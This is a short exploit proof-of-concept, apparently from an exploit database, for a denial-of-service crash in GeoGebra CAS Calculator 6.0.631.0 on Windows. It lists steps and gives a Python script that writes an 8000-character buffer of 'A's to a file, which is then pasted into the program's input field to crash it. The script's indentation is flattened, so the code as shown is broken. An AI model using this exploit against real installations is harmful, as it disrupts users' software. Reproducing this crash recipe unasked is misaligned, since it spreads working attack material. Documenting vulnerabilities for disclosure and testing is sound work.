# Exploit Title: GeoGebra CAS Calculator 6.0.631.0 - Denial of Service (PoC)# Date: 2021-03-15# Exploit Author: Brian Rodriguez# Vendor Homepage: https://www.geogebra.org# Software Link: https://www.geogebra.org/download# Version: 6.0.631.0-offlinecas# Tested on: Windows 8.1 Pro# STEPS# Open the program Calculadora CAS# Run the python exploit script payload.py, it will create a new payload.txt file# Copy the content of the file "payload.txt"# Paste the content from payload.txt in the field "Entrada..."# Crashed--> payload.py <--#!/usr/bin/env python
buffer = "\x41"* 8000
try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")